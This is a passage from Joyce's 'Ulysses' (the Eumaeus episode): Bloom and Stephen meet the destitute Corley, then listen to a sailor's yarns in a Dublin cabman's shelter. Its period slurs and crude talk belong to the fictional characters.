knew a little jiujitsu +for every contingency as even a fellow on the broad of his back could +administer a nasty kick if you didn't look out. Highly providential was +the appearance on the scene of Corny Kelleher when Stephen was blissfully +unconscious but for that man in the gap turning up at the eleventh hour +the finis might have been that he might have been a candidate for the +accident ward or, failing that, the bridewell and an appearance in the +court next day before Mr Tobias or, he being the solicitor rather, old +Wall, he meant to say, or Mahony which simply spelt ruin for a chap when +it got bruited about. The reason he mentioned the fact was that a lot of +those policemen, whom he cordially disliked, were admittedly unscrupulous +in the service of the Crown and, as Mr Bloom put it, recalling a case or +two in the A division in Clanbrassil street, prepared to swear a hole +through a ten gallon pot. Never on the spot when wanted but in quiet +parts of the city, Pembroke road for example, the guardians of the law +were well in evidence, the obvious reason being they were paid to protect +the upper classes. Another thing he commented on was equipping soldiers +with firearms or sidearms of any description liable to go off at any time +which was tantamount to inciting them against civilians should by any +chance they fall out over anything. You frittered away your time, he very +sensibly maintained, and health and also character besides which, the +squandermania of the thing, fast women of the DEMIMONDE ran away with a +lot of l.s.d. into the bargain and the greatest danger of all was who you +got drunk with though, touching the much vexed question of stimulants, he +relished a glass of choice old wine in season as both nourishing and +bloodmaking and possessing aperient virtues (notably a good burgundy +which he was a staunch believer in) still never beyond a certain point +where he invariably drew the line as it simply led to trouble all round +to say nothing of your being at the tender mercy of others practically. +Most of all he commented adversely on the desertion of Stephen by all his +pubhunting CONFRERES but one, a most glaring piece of ratting on the part +of his brother medicos under all the circs. + +--And that one was Judas, Stephen said, who up to then had said nothing +whatsoever of any kind. + +Discussing these and kindred topics they made a beeline across the back +of the Customhouse and passed under the Loop Line bridge where a brazier +of coke burning in front of a sentrybox or something like one attracted +their rather lagging footsteps. Stephen of his own accord stopped for no +special reason to look at the heap of barren cobblestones and by the +light emanating from the brazier he could just make out the darker figure +of the corporation watchman inside the gloom of the sentrybox. He began +to remember that this had happened or had been mentioned as having +happened before but it cost him no small effort before he remembered that +he recognised in the sentry a quondam friend of his father's, Gumley. To +avoid a meeting he drew nearer to the pillars of the railway bridge. + +--Someone saluted you, Mr Bloom said. + +A figure of middle height on the prowl evidently under the arches saluted +again, calling: + +--NIGHT! + +Stephen of course started rather dizzily and stopped to return the +compliment. Mr Bloom actuated by motives of inherent delicacy inasmuch as +he always believed in minding his own business moved off but nevertheless +remained on the QUI VIVE with just a shade of anxiety though not funkyish +in the least. Though unusual in the Dublin area he knew that it was not +by any means unknown for desperadoes who had next to nothing to live on +to be abroad waylaying and generally terrorising peaceable pedestrians by +placing a pistol at their head in some secluded spot outside the city +proper, famished loiterers of the Thames embankment category they might +be hanging about there or simply marauders ready to decamp with whatever +boodle they could in one fell swoop at a moment's notice, your money or +your life, leaving you there to point a moral, gagged and garrotted. + +Stephen, that is when the accosting figure came to close quarters, though +he was not in an over sober state himself recognised Corley's breath +redolent of rotten cornjuice. Lord John Corley some called him and his +genealogy came about in this wise. He was the eldest son of inspector +Corley of the G division, lately deceased, who had married a certain +Katherine Brophy, the daughter of a Louth farmer. His grandfather Patrick +Michael Corley of New Ross had married the widow of a publican there +whose maiden name had been Katherine (also) Talbot. Rumour had it (though +not proved) that she descended from the house of the lords Talbot de +Malahide in whose mansion, really an unquestionably fine residence of its +kind and well worth seeing, her mother or aunt or some relative, a woman, +as the tale went, of extreme beauty, had enjoyed the distinction of being +in service in the washkitchen. This therefore was the reason why the +still comparatively young though dissolute man who now addressed Stephen +was spoken of by some with facetious proclivities as Lord John Corley. + +Taking Stephen on one side he had the customary doleful ditty to tell. +Not as much as a farthing to purchase a night's lodgings. His friends had +all deserted him. Furthermore he had a row with Lenehan and called him to +Stephen a mean bloody swab with a sprinkling of a number of other +uncalledfor expressions. He was out of a job and implored of Stephen to +tell him where on God's earth he could get something, anything at all, to +do. No, it was the daughter of the mother in the washkitchen that was +fostersister to the heir of the house or else they were connected through +the mother in some way, both occurrences happening at the same time if +the whole thing wasn't a complete fabrication from start to finish. +Anyhow he was all in. + +--I wouldn't ask you only, pursued he, on my solemn oath and God knows +I'm on the rocks. + +--There'll be a job tomorrow or next day, Stephen told him, in a boys' +school at Dalkey for a gentleman usher. Mr Garrett Deasy. Try it. You may +mention my name. + +--Ah, God, Corley replied, sure I couldn't teach in a school, man. I was +never one of your bright ones, he added with a half laugh. I got stuck +twice in the junior at the christian brothers. + +--I have no place to sleep myself, Stephen informed him. + +Corley at the first go-off was inclined to suspect it was something to do +with Stephen being fired out of his digs for bringing in a bloody tart +off the street. There was a dosshouse in Marlborough street, Mrs +Maloney's, but it was only a tanner touch and full of undesirables but +M'Conachie told him you got a decent enough do in the Brazen Head over in +Winetavern street (which was distantly suggestive to the person addressed +of friar Bacon) for a bob. He was starving too though he hadn't said a +word about it. + +Though this sort of thing went on every other night or very near it still +Stephen's feelings got the better of him in a sense though he knew that +Corley's brandnew rigmarole on a par with the others was hardly deserving +of much credence. However HAUD IGNARUS MALORUM MISERIS SUCCURRERE DISCO +etcetera as the Latin poet remarks especially as luck would have it he +got paid his screw after every middle of the month on the sixteenth which +was the date of the month as a matter of fact though a good bit of the +wherewithal was demolished. But the cream of the joke was nothing would +get it out of Corley's head that he was living in affluence and hadn't a +thing to do but hand out the needful. Whereas. He put his hand in a +pocket anyhow not with the idea of finding any food there but thinking he +might lend him anything up to a bob or so in lieu so that he might +endeavour at all events and get sufficient to eat but the result was in +the negative for, to his chagrin, he found his cash missing. A few broken +biscuits were all the result of his investigation. He tried his hardest +to recollect for the moment whether he had lost as well he might have or +left because in that contingency it was not a pleasant lookout, very much +the reverse in fact. He was altogether too fagged out to institute a +thorough search though he tried to recollect. About biscuits he dimly +remembered. Who now exactly gave them he wondered or where was or did he +buy. However in another pocket he came across what he surmised in the +dark were pennies, erroneously however, as it turned out. + +--Those are halfcrowns, man, Corley corrected him. + +And so in point of fact they turned out to be. Stephen anyhow lent him +one of them. + +--Thanks, Corley answered, you're a gentleman. I'll pay you back one +time. Who's that with you? I saw him a few times in the Bleeding Horse in +Camden street with Boylan, the billsticker. You might put in a good word +for us to get me taken on there. I'd carry a sandwichboard only the girl +in the office told me they're full up for the next three weeks, man. God, +you've to book ahead, man, you'd think it was for the Carl Rosa. I don't +give a shite anyway so long as I get a job, even as a crossing sweeper. + +Subsequently being not quite so down in the mouth after the two and six +he got he informed Stephen about a fellow by the name of Bags Comisky +that he said Stephen knew well out of Fullam's, the shipchandler's, +bookkeeper there that used to be often round in Nagle's back with O'Mara +and a little chap with a stutter the name of Tighe. Anyhow he was lagged +the night before last and fined ten bob for a drunk and disorderly and +refusing to go with the constable. + +Mr Bloom in the meanwhile kept dodging about in the vicinity of the +cobblestones near the brazier of coke in front of the corporation +watchman's sentrybox who evidently a glutton for work, it struck him, was +having a quiet forty winks for all intents and purposes on his own +private account while Dublin slept. He threw an odd eye at the same time +now and then at Stephen's anything but immaculately attired interlocutor +as if he had seen that nobleman somewhere or other though where he was +not in a position to truthfully state nor had he the remotest idea when. +Being a levelheaded individual who could give points to not a few in +point of shrewd observation he also remarked on his very dilapidated hat +and slouchy wearing apparel generally testifying to a chronic +impecuniosity. Palpably he was one of his hangerson but for the matter of +that it was merely a question of one preying on his nextdoor neighbour +all round, in every deep, so to put it, a deeper depth and for the matter +of that if the man in the street chanced to be in the dock himself penal +servitude with or without the option of a fine would be a very rara avis +altogether. In any case he had a consummate amount of cool assurance +intercepting people at that hour of the night or morning. Pretty thick +that was certainly. + +The pair parted company and Stephen rejoined Mr Bloom who, with his +practised eye, was not without perceiving that he had succumbed to the +blandiloquence of the other parasite. Alluding to the encounter he said, +laughingly, Stephen, that is: + +--He is down on his luck. He asked me to ask you to ask somebody named +Boylan, a billsticker, to give him a job as a sandwichman. + +At this intelligence, in which he seemingly evinced little interest, Mr +Bloom gazed abstractedly for the space of a half a second or so in the +direction of a bucketdredger, rejoicing in the farfamed name of Eblana, +moored alongside Customhouse quay and quite possibly out of repair, +whereupon he observed evasively: + +--Everybody gets their own ration of luck, they say. Now you mention it +his face was familiar to me. But, leaving that for the moment, how much +did you part with, he queried, if I am not too inquisitive? + +--Half a crown, Stephen responded. I daresay he needs it to sleep +somewhere. + +--Needs! Mr Bloom ejaculated, professing not the least surprise at the +intelligence, I can quite credit the assertion and I guarantee he +invariably does. Everyone according to his needs or everyone according to +his deeds. But, talking about things in general, where, added he with a +smile, will you sleep yourself? Walking to Sandycove is out of the +question. And even supposing you did you won't get in after what occurred +at Westland Row station. Simply fag out there for nothing. I don't mean +to presume to dictate to you in the slightest degree but why did you +leave your father's house? + +--To seek misfortune, was Stephen's answer. + +--I met your respected father on a recent occasion, Mr Bloom +diplomatically returned, today in fact, or to be strictly accurate, on +yesterday. Where does he live at present? I gathered in the course of +conversation that he had moved. + +--I believe he is in Dublin somewhere, Stephen answered unconcernedly. +Why? + +--A gifted man, Mr Bloom said of Mr Dedalus senior, in more respects than +one and a born RACONTEUR if ever there was one. He takes great pride, +quite legitimate, out of you. You could go back perhaps, he hasarded, +still thinking of the very unpleasant scene at Westland Row terminus when +it was perfectly evident that the other two, Mulligan, that is, and that +English tourist friend of his, who eventually euchred their third +companion, were patently trying as if the whole bally station belonged to +them to give Stephen the slip in the confusion, which they did. + +There was no response forthcoming to the suggestion however, such as it +was, Stephen's mind's eye being too busily engaged in repicturing his +family hearth the last time he saw it with his sister Dilly sitting by +the ingle, her hair hanging down, waiting for some weak Trinidad shell +cocoa that was in the sootcoated kettle to be done so that she and he +could drink it with the oatmealwater for milk after the Friday herrings +they had eaten at two a penny with an egg apiece for Maggy, Boody and +Katey, the cat meanwhile under the mangle devouring a mess of eggshells +and charred fish heads and bones on a square of brown paper, in +accordance with the third precept of the church to fast and abstain on +the days commanded, it being quarter tense or if not, ember days or +something like that. + +--No, Mr Bloom repeated again, I wouldn't personally repose much trust in +that boon companion of yours who contributes the humorous element, Dr +Mulligan, as a guide, philosopher and friend if I were in your shoes. He +knows which side his bread is buttered on though in all probability he +never realised what it is to be without regular meals. Of course you +didn't notice as much as I did. But it wouldn't occasion me the least +surprise to learn that a pinch of tobacco or some narcotic was put in +your drink for some ulterior object. + +He understood however from all he heard that Dr Mulligan was a versatile +allround man, by no means confined to medicine only, who was rapidly +coming to the fore in his line and, if the report was verified, bade fair +to enjoy a flourishing practice in the not too distant future as a tony +medical practitioner drawing a handsome fee for his services in addition +to which professional status his rescue of that man from certain drowning +by artificial respiration and what they call first aid at Skerries, or +Malahide was it?, was, he was bound to admit, an exceedingly plucky deed +which he could not too highly praise, so that frankly he was utterly at a +loss to fathom what earthly reason could be at the back of it except he +put it down to sheer cussedness or jealousy, pure and simple. + +--Except it simply amounts to one thing and he is what they call picking +your brains, he ventured to throw o.ut. + +The guarded glance of half solicitude half curiosity augmented by +friendliness which he gave at Stephen's at present morose expression of +features did not throw a flood of light, none at all in fact on the +problem as to whether he had let himself be badly bamboozled to judge by +two or three lowspirited remarks he let drop or the other way about saw +through the affair and for some reason or other best known to himself +allowed matters to more or less. Grinding poverty did have that effect +and he more than conjectured that, high educational abilities though he +possessed, he experienced no little difficulty in making both ends meet. + +Adjacent to the men's public urinal they perceived an icecream car round +which a group of presumably Italians in heated altercation were getting +rid of voluble expressions in their vivacious language in a particularly +animated way, there being some little differences between the parties. + +--PUTTANA MADONNA, CHE CI DIA I QUATTRINI! HO RAGIONE? CULO ROTTO! + +--INTENDIAMOCI. MEZZO SOVRANO PIU ... + +--DICE LUI, PERO! + +--MEZZO. + +--FARABUTTO! MORTACCI SUI! + +--MA ASCOLTA! CINQUE LA TESTA PIU ... + +Mr Bloom and Stephen entered the cabman's shelter, an unpretentious +wooden structure, where, prior to then, he had rarely if ever been +before, the former having previously whispered to the latter a few hints +anent the keeper of it said to be the once famous Skin-the-Goat +Fitzharris, the invincible, though he could not vouch for the actual +facts which quite possibly there was not one vestige of truth in. A few +moments later saw our two noctambules safely seated in a discreet corner +only to be greeted by stares from the decidedly miscellaneous collection +of waifs and strays and other nondescript specimens of the genus HOMO +already there engaged in eating and drinking diversified by conversation +for whom they seemingly formed an object of marked curiosity. + +--Now touching a cup of coffee, Mr Bloom ventured to plausibly suggest to +break the ice, it occurs to me you ought to sample something in the shape +of solid food, say, a roll of some description. + +Accordingly his first act was with characteristic SANGFROID to order +these commodities quietly. The HOI POLLOI of jarvies or stevedores or +whatever they were after a cursory examination turned their eyes +apparently dissatisfied, away though one redbearded bibulous individual +portion of whose hair was greyish, a sailor probably, still stared for +some appreciable time before transferring his rapt attention to the +floor. Mr Bloom, availing himself of the right of free speech, he having +just a bowing acquaintance with the language in dispute, though, to be +sure, rather in a quandary over VOGLIO, remarked to his PROTEGE in an +audible tone of voice A PROPOS of the battle royal in the street which +was still raging fast and furious: + +--A beautiful language. I mean for singing purposes. Why do you not write +your poetry in that language? BELLA POETRIA! It is so melodious and full. +BELLADONNA. VOGLIO. + +Stephen, who was trying his dead best to yawn if he could, suffering from +lassitude generally, replied: + +--To fill the ear of a cow elephant. They were haggling over money. + +--Is that so? Mr Bloom asked. Of course, he subjoined pensively, at the +inward reflection of there being more languages to start with than were +absolutely necessary, it may be only the southern glamour that surrounds +it. + +The keeper of the shelter in the middle of this TETE-A-TETE put a boiling +swimming cup of a choice concoction labelled coffee on the table and a +rather antediluvian specimen of a bun, or so it seemed. After which he +beat a retreat to his counter, Mr Bloom determining to have a good square +look at him later on so as not to appear to. For which reason he +encouraged Stephen to proceed with his eyes while he did the honours by +surreptitiously pushing the cup of what was temporarily supposed to be +called coffee gradually nearer him. + +--Sounds are impostures, Stephen said after a pause of some little time, +like names. Cicero, Podmore. Napoleon, Mr Goodbody. Jesus, Mr Doyle. +Shakespeares were as common as Murphies. What's in a name? + +--Yes, to be sure, Mr Bloom unaffectedly concurred. Of course. Our name +was changed too, he added, pushing the socalled roll across. + +The redbearded sailor who had his weather eye on the newcomers boarded +Stephen, whom he had singled out for attention in particular, squarely by +asking: + +--And what might your name be? + +Just in the nick of time Mr Bloom touched his companion's boot but +Stephen, apparently disregarding the warm pressure from an unexpected +quarter, answered: + +--Dedalus. + +The sailor stared at him heavily from a pair of drowsy baggy eyes, rather +bunged up from excessive use of boose, preferably good old Hollands and +water. + +--You know Simon Dedalus? he asked at length. + +--I've heard of him, Stephen said. + +Mr Bloom was all at sea for a moment, seeing the others evidently +eavesdropping too. + +--He's Irish, the seaman bold affirmed, staring still in much the same +way and nodding. All Irish. + +--All too Irish, Stephen rejoined. + +As for Mr Bloom he could neither make head or tail of the whole business +and he was just asking himself what possible connection when the sailor +of his own accord turned to the other occupants of the shelter with the +remark: + +--I seen him shoot two eggs off two bottles at fifty yards over his +shoulder. The lefthand dead shot. + +Though he was slightly hampered by an occasional stammer and his gestures +being also clumsy as it was still he did his best to explain. + +--Bottles out there, say. Fifty yards measured. Eggs on the bottles. +Cocks his gun over his shoulder. Aims. + +He turned his body half round, shut up his right eye completely. Then he +screwed his features up someway sideways and glared out into the night +with an unprepossessing cast of countenance. + +--Pom! he then shouted once. + +The entire audience waited, anticipating an additional detonation, there +being still a further egg. + +--Pom! he shouted twice. + +Egg two evidently demolished, he nodded and winked, adding +bloodthirstily: + + + --BUFFALO BILL SHOOTS TO KILL, + NEVER MISSED NOR HE NEVER WILL. + + +A silence ensued till Mr Bloom for agreeableness' sake just felt like +asking him whether it was for a marksmanship competition like the Bisley. + +--Beg pardon, the sailor said. + +--Long ago? Mr Bloom pursued without flinching a hairsbreadth. + +--Why, the sailor replied, relaxing to a certain extent under the magic +influence of diamond cut diamond, it might be a matter of ten years. He +toured the wide world with Hengler's Royal Circus. I seen him do that in +Stockholm. + +--Curious coincidence, Mr Bloom confided to Stephen unobtrusively. + +--Murphy's my name, the sailor continued. D. B. Murphy of Carrigaloe. +Know where that is? + +--Queenstown harbour, Stephen replied. + +--That's right, the sailor said. Fort Camden and Fort Carlisle. That's +where I hails from. I belongs there. That's where I hails from. My little +woman's down there. She's waiting for me, I know. FOR ENGLAND, HOME AND +BEAUTY. She's my own true wife I haven't seen for seven years now, +sailing about. + +Mr Bloom could easily picture his advent on this scene, the homecoming to +the mariner's roadside shieling after having diddled Davy Jones, a rainy +night with a blind moon. Across the world for a wife. Quite a number of +stories there were on that particular Alice Ben Bolt topic, Enoch Arden +and Rip van Winkle and does anybody hereabouts remember Caoc O'Leary, a +favourite and most trying declamation piece by the way of poor John Casey +and a bit of perfect poetry in its own small way. Never about the runaway +wife coming back, however much devoted to the absentee. The face at the +window! Judge of his astonishment when he finally did breast the tape and +the awful truth dawned upon him anent his better half, wrecked in his +affections. You little expected me but I've come to stay and make a fresh +start. There she sits, a grasswidow, at the selfsame fireside. Believes +me dead, rocked in the cradle of the deep. And there sits uncle Chubb or +Tomkin, as the case might be, the publican of the Crown and Anchor, in +shirtsleeves, eating rumpsteak and onions. No chair for father. Broo! The +wind! Her brandnew arrival is on her knee, POST MORTEM child. With a high +ro! and a randy ro! and my galloping tearing tandy, O! Bow to the +inevitable. Grin and bear it. I remain with much love your brokenhearted +husband D B Murphy. + +The sailor, who scarcely seemed to be a Dublin resident, turned to one of +the jarvies with the request: + +--You don't happen to have such a thing as a spare chaw about you? + +The jarvey addressed as it happened had not but the keeper took a die of +plug from his good jacket hanging on a nail and the desired object was +passed from hand to hand. + +--Thank you, the sailor said. + +He deposited the quid in his gob and, chewing and with some slow +stammers, proceeded: + +--We come up this morning eleven o'clock. The threemaster ROSEVEAN from +Bridgwater with bricks. I shipped to get over. Paid off this afternoon. +There's my discharge. See? D. B. Murphy. A. B. S. + +In confirmation of which statement he extricated from an inside pocket +and handed to his neighbour a not very cleanlooking folded document. + +--You must have seen a fair share of the world, the keeper remarked, +leaning on the counter. + +--Why, the sailor answered upon reflection upon it, I've circumnavigated +a bit since I first joined on. I was in the Red Sea. I was in China and +North America and South America. We was chased by pirates one voyage. I +seen icebergs plenty, growlers. I was in Stockholm and the Black Sea, the +Dardanelles under Captain Dalton, the best bloody man that ever scuttled +a ship. I seen Russia. GOSPODI POMILYOU. That's how the Russians prays. + +--You seen queer sights, don't be talking, put in a jarvey. + +--Why, the sailor said, shifting his partially chewed plug. I seen queer +things too, ups and downs. I seen a crocodile bite the fluke of an anchor +same as I chew that quid. + +He took out of his mouth the pulpy quid and, lodging it between his +teeth, bit ferociously: + +--Khaan! Like that. And I seen maneaters in Peru that eats corpses and +the livers of horses. Look here. Here they are. A friend of mine sent me. + +He fumbled out a picture postcard from his inside pocket which seemed to +be in its way a species of repository and pushed it along the table. The +printed matter on it stated: CHOZA DE INDIOS. BENI, BOLIVIA. + +All focussed their attention at the scene exhibited, a group of savage +women in striped loincloths, squatted, blinking, suckling, frowning, +sleeping amid a swarm of infants (there must have been quite a score of +them) outside some primitive shanties of osier. + +--Chews coca all day, the communicative tarpaulin added. Stomachs like +breadgraters. Cuts off their diddies when they can't bear no more +children. + +See them sitting there stark ballocknaked eating a dead horse's liver +raw. + +His postcard proved a centre of attraction for Messrs the greenhorns for +several minutes if not more. + +--Know how to keep them off? he inquired generally. + +Nobody volunteering a statement he winked, saying: + +--Glass. That boggles 'em. Glass. + +Mr Bloom, without evincing surprise, unostentatiously turned over the +card to peruse the partially obliterated address and postmark. It ran as +follows: TARJETA POSTAL, SENOR A BOUDIN, GALERIA BECCHE, SANTIAGO, CHILE. +There was no message evidently, as he took particular notice. Though not +an implicit believer in the lurid story narrated (or the eggsniping +transaction for that matter despite William Tell and the Lazarillo-Don +Cesar de Bazan incident depicted in MARITANA on which occasion the +former's ball passed through the latter's hat) having detected a +discrepancy between his name (assuming he was the person he represented +himself to be and not sailing under false colours after having boxed the +compass on the strict q.t. somewhere) and the fictitious addressee of the +missive which made him nourish some suspicions of our friend's BONA FIDES +nevertheless it reminded him in a way of a longcherished plan he meant to +one day realise some Wednesday or Saturday of travelling to London via +long sea not to say that he had ever travelled extensively to any great +extent but he was at heart a born adventurer though by a trick of fate he +had consistently remained a landlubber except you call going to Holyhead +which was his longest. Martin Cunningham frequently said he would work a +pass through Egan but some deuced hitch or other eternally cropped up +with the net result that the scheme fell through. But even suppose it did +come to planking down the needful and breaking Boyd's heart it was not so +dear, purse permitting, a few guineas at the outside considering the fare +to Mullingar where he figured on going was five and six, there and back. +The trip would benefit health on account of the bracing ozone and be in +every way thoroughly pleasurable, especially for a chap whose liver was +out of order, seeing the different places along the route, Plymouth, +Falmouth, Southampton and so on culminating in an instructive tour of the +sights of the great metropolis, the spectacle of our modern Babylon where +doubtless he would see the greatest improvement, tower, abbey, wealth of +Park lane to renew acquaintance with. Another thing just struck him as a +by no means bad notion was he might have a gaze around on the spot to see +about trying to make arrangements about a concert tour of summer music +embracing the most prominent pleasure resorts, Margate with mixed bathing +and firstrate hydros and spas, Eastbourne, Scarborough, Margate and so +on, beautiful Bournemouth, the Channel islands and similar bijou spots, +which might prove highly remunerative. Not, of course, with a hole and +corner scratch company or local ladies on the job, witness Mrs C P M'Coy +type lend me your valise and I'll post you the ticket. No, something top +notch, an all star Irish caste, the Tweedy-Flower grand opera company +with his own legal consort as leading lady as a sort of counterblast to +the Elster Grimes and Moody-Manners, perfectly simple matter and he was +quite sanguine of success, providing puffs in the local papers could be +managed by some fellow with a bit of bounce who could pull the +indispensable wires and thus combine business with pleasure. But who? +That was the rub. Also, without being actually positive, it struck him a +great field was to be opened up in the line of opening up new routes to +keep pace with the times APROPOS of the Fishguard-Rosslare route which, +it was mooted, was once more on the TAPIS in the circumlocution +departments with the usual quantity of red tape and dillydallying of +effete fogeydom and dunderheads generally. A great opportunity there +certainly was for push and enterprise to meet the travelling needs of the +public at large, the average man, i.e. Brown, Robinson and Co. + +It was a subject of regret and absurd as well on the face of it and no +small blame to our vaunted society that the man in the street, when the +system really needed toning up, for the matter of a couple of paltry +pounds was debarred from seeing more of the world they lived in instead +of being always and ever cooped up since my old stick-in-the-mud took me +for a wife. After all, hang it, they had their eleven and more humdrum +months of it and merited a radical change of VENUE after the grind of +city life in the summertime for choice when dame Nature is at her +spectacular best constituting nothing short of a new lease of life. There +were equally excellent opportunities for vacationists in the home island, +delightful sylvan spots for rejuvenation, offering a plethora of +attractions as well as a bracing tonic for the system in and around +Dublin and its picturesque environs even, Poulaphouca to which there was +a steamtram, but also farther away from the madding crowd in Wicklow, +rightly termed the garden of Ireland, an ideal neighbourhood for elderly +wheelmen so long as it didn't come down, and in the wilds of Donegal +where if report spoke true the COUP D'OEIL was exceedingly grand though +the lastnamed locality was not easily getatable so that the influx of +visitors was not as yet all that it might be considering the signal +benefits to be derived from it while Howth with its historic associations +and otherwise, Silken Thomas, Grace O'Malley, George IV, rhododendrons +several hundred feet above sealevel was a favourite haunt with all sorts +and conditions of men especially in the spring when young men's fancy, +though it had its own toll of deaths by falling off the cliffs by design +or accidentally, usually, by the way, on their left leg, it being only +about three quarters of an hour's run from the pillar. Because of course +uptodate tourist travelling was as yet merely in its infancy, so to +speak, and the accommodation left much to be desired. Interesting to +fathom it seemed to him from a motive of curiosity, pure and simple, was +whether it was the traffic that created the route or viceversa or the two +sides in fact. He turned back the other side of the card, picture, and +passed it along to Stephen. + +--I seen a Chinese one time, related the doughty narrator, that had +little pills like putty and he put them in the water and they opened and +every pill was something different. One was a ship, another was a house, +another was a flower. Cooks rats in your soup, he appetisingly added, the +chinks does. + +Possibly perceiving an expression of dubiosity on their faces the +globetrotter went on, adhering to his adventures. + +--And I seen a man killed in Trieste by an Italian chap. Knife in his +back. Knife like that. + +Whilst speaking he produced a dangerouslooking claspknife quite in +keeping with his character and held it in the striking position. + +--In a knockingshop it was count of a tryon between two smugglers. Fellow +hid behind a door, come up behind him. Like that. PREPARE TO MEET YOUR +GOD, says he. Chuk! It went into his back up to the butt. + +His heavy glance drowsily roaming about kind of defied their further +questions even should they by any chance want to. + +--That's a good bit of steel, repeated he, examining his formidable +STILETTO. + +After which harrowing DENOUEMENT sufficient to appal the stoutest he +snapped the blade to and stowed the weapon in question away as before in +his chamber of horrors, otherwise pocket. + +--They're great for the cold steel, somebody who was evidently quite in +the dark said for the benefit of them all. That was why they thought the +park murders of the invincibles was done by foreigners on account of them +using knives. + +At this remark passed obviously in the spirit of WHERE IGNORANCE IS BLISS +Mr B. and Stephen, each in his own particular way, both instinctively +exchanged meaning glances, in a religious silence of the strictly ENTRE +NOUS variety however, towards where Skin-the-Goat, ALIAS the keeper, not +turning a hair, was drawing spurts of liquid from his boiler affair. His +inscrutable face which was really a work of art, a perfect study in +itself, beggaring description, conveyed the impression that he didn't +understand one jot of what was going on. Funny, very! + +There ensued a somewhat lengthy pause. One man was reading in fits and +starts a stained by coffee evening journal, another the card with the +natives CHOZA DE, another the seaman's discharge. Mr Bloom, so far as he +was personally concerned, was just pondering in pensive mood. He vividly +recollected when the occurrence alluded to took place as well as +yesterday, roughly some score of years previously in the days of the land +troubles, when it took the civilised world by storm, figuratively +speaking, early in the eighties, eightyone to be correct, when he was +just turned fifteen. + +--Ay, boss, the sailor broke in. Give us back them papers. + +The request being complied with he clawed them up with a scrape. + +--Have you seen the rock of Gibraltar? Mr Bloom inquired. + +The sailor grimaced, chewing, in a way that might be read as yes, ay or +no. + +--Ah, you've touched there too, Mr Bloom said, Europa point, thinking he +had, in the hope that the rover might possibly by some reminiscences but +he failed to do so, simply letting spirt a jet of spew into the sawdust, +and shook his head with a sort of lazy scorn. + +--What year would that be about? Mr B interrogated. Can you recall the +boats? + +Our SOI-DISANT sailor munched heavily awhile hungrily before answering: + +--I'm tired of all them rocks in the sea, he said, and boats and ships. +Salt junk all the time. + +Tired seemingly, he ceased. His questioner perceiving that he was not +likely to get a great deal of change out of such a wily old customer, +fell to woolgathering on the enormous dimensions of the water about the +globe, suffice it to say that, as a casual glance at the map revealed, it +covered fully three fourths of it and he fully realised accordingly what +it meant to rule the waves. On more than one occasion, a dozen at the +lowest, near the North Bull at Dollymount he had remarked a superannuated +old salt, evidently derelict, seated habitually near the not particularly +redolent sea on the wall, staring quite obliviously at it and it at him, +dreaming of fresh woods and pastures new as someone somewhere sings. And +it left him wondering why. Possibly he had tried to find out the secret +for himself, floundering up and down the antipodes and all that sort of +thing and over and under, well, not exactly under, tempting the fates. +And the odds were twenty to nil there was really no secret about it at +all. Nevertheless, without going into the MINUTIAE of the business, the +eloquent fact remained that the sea was there in all its glory and in the +natural course of things somebody or other had to sail on it and fly in +the face of providence though it merely went to show how people usually +contrived to load that sort of onus on to the other fellow like the hell +idea and the lottery and insurance which were run on identically the same +lines so that for that very reason if no other lifeboat Sunday was a +highly laudable institution to which the public at large, no matter where +living inland or seaside, as the case might be, having it brought home to +them like that should extend its gratitude also to the harbourmasters and +coastguard service who had to man the rigging and push off and out amid +the elements whatever the season when duty called IRELAND EXPECTS THAT +EVERY MAN and so on and sometimes had a terrible time of it in the +wintertime not forgetting the Irish lights, Kish and others, liable to +capsize at any moment, rounding which he once with his daughter had +experienced some remarkably choppy, not to say stormy, weather. + +--There was a fellow sailed with me in the Rover, the old seadog, himself +a rover, proceeded, went ashore and took up a soft job as gentleman's +valet at six quid a month. Them are his trousers I've on me and he gave +me an oilskin and that jackknife. I'm game for that job, shaving and +brushup. I hate roaming about. There's my son now, Danny, run off to sea +and his mother got him took in a draper's in Cork where he could be +drawing easy money. + +--What age is he? queried one hearer who, by the way, seen from the side, +bore a distant resemblance to Henry Campbell, the townclerk, away from +the carking cares of office, unwashed of course and in a seedy getup and +a strong suspicion of nosepaint about the nasal appendage. + +--Why, the sailor answered with a slow puzzled utterance, my son, Danny? +He'd be about eighteen now, way I figure it. + +The Skibbereen father hereupon tore open his grey or unclean anyhow shirt +with his two hands and scratched away at his chest on which was to be +seen an image tattooed in blue Chinese ink intended to represent an +anchor. + +--There was lice in that bunk in Bridgwater, he remarked, sure as nuts. I +must get a wash tomorrow or next day. It's them black lads I objects to. +I hate those buggers. Suck your blood dry, they does. + +Seeing they were all looking at his chest he accommodatingly dragged his +shirt more open so that on top of the timehonoured symbol of the +mariner's hope and rest they had a full view of the figure 16 and a young +man's sideface looking frowningly rather. + +--Tattoo, the exhibitor explained. That was done when we were Iying +becalmed off Odessa in the Black Sea under Captain Dalton. Fellow, the +name of Antonio, done that. There he is himself, a Greek. + +--Did it hurt much doing it? one asked the sailor. + +That worthy, however, was busily engaged in collecting round the. Someway +in his. Squeezing or. + +--See here, he said, showing Antonio. There he is cursing the mate. And +there he is now, he added, the same fellow, pulling the skin with his +fingers, some special knack evidently, and he laughing at a yarn. + +And in point of fact the young man named Antonio's livid face did +actually look like forced smiling and the curious effect excited the +unreserved admiration of everybody including Skin-the-Goat, who this time +stretched over. + +--Ay, ay, sighed the sailor, looking down on his manly chest. He's gone +too. Ate by sharks after. Ay, ay. + +He let go of the skin so that the profile resumed the normal expression +of before. + +--Neat bit of work, one longshoreman said. + +--And what's the number for? loafer number two queried. + +--Eaten alive? a third asked the sailor. + +--Ay, ay, sighed again the latter personage, more cheerily this time with +some sort of a half smile for a brief duration only in the direction of +the questioner about the number. Ate. A Greek he was. + +And then he added with rather gallowsbird humour considering his alleged +end: + + + --AS BAD AS OLD ANTONIO, + FOR HE LEFT ME ON MY OWNIO. + + +The face of a streetwalker glazed and haggard under a black straw hat +peered askew round the door of the shelter palpably reconnoitring on her +own with the object of bringing more grist to her mill. Mr Bloom, +scarcely knowing which way to look, turned away on the moment flusterfied +but outwardly calm, and, picking up from the table the pink sheet of the +Abbey street organ which the jarvey, if such he was, had laid aside, he +picked it up and looked at the pink of the paper though why pink. His +reason for so doing was he recognised on the moment round the door the +same face he had caught a fleeting glimpse of that afternoon on Ormond +quay, the partially idiotic female, namely, of the lane who knew the lady +in the brown costume does be with you (Mrs B.) and begged the chance of +his washing. Also why washing which seemed rather vague than not, your +washing. Still candour compelled him to admit he had washed his wife's +undergarments when soiled in Holles street and women would and did too a +man's similar garments initialled with Bewley and Draper's marking ink 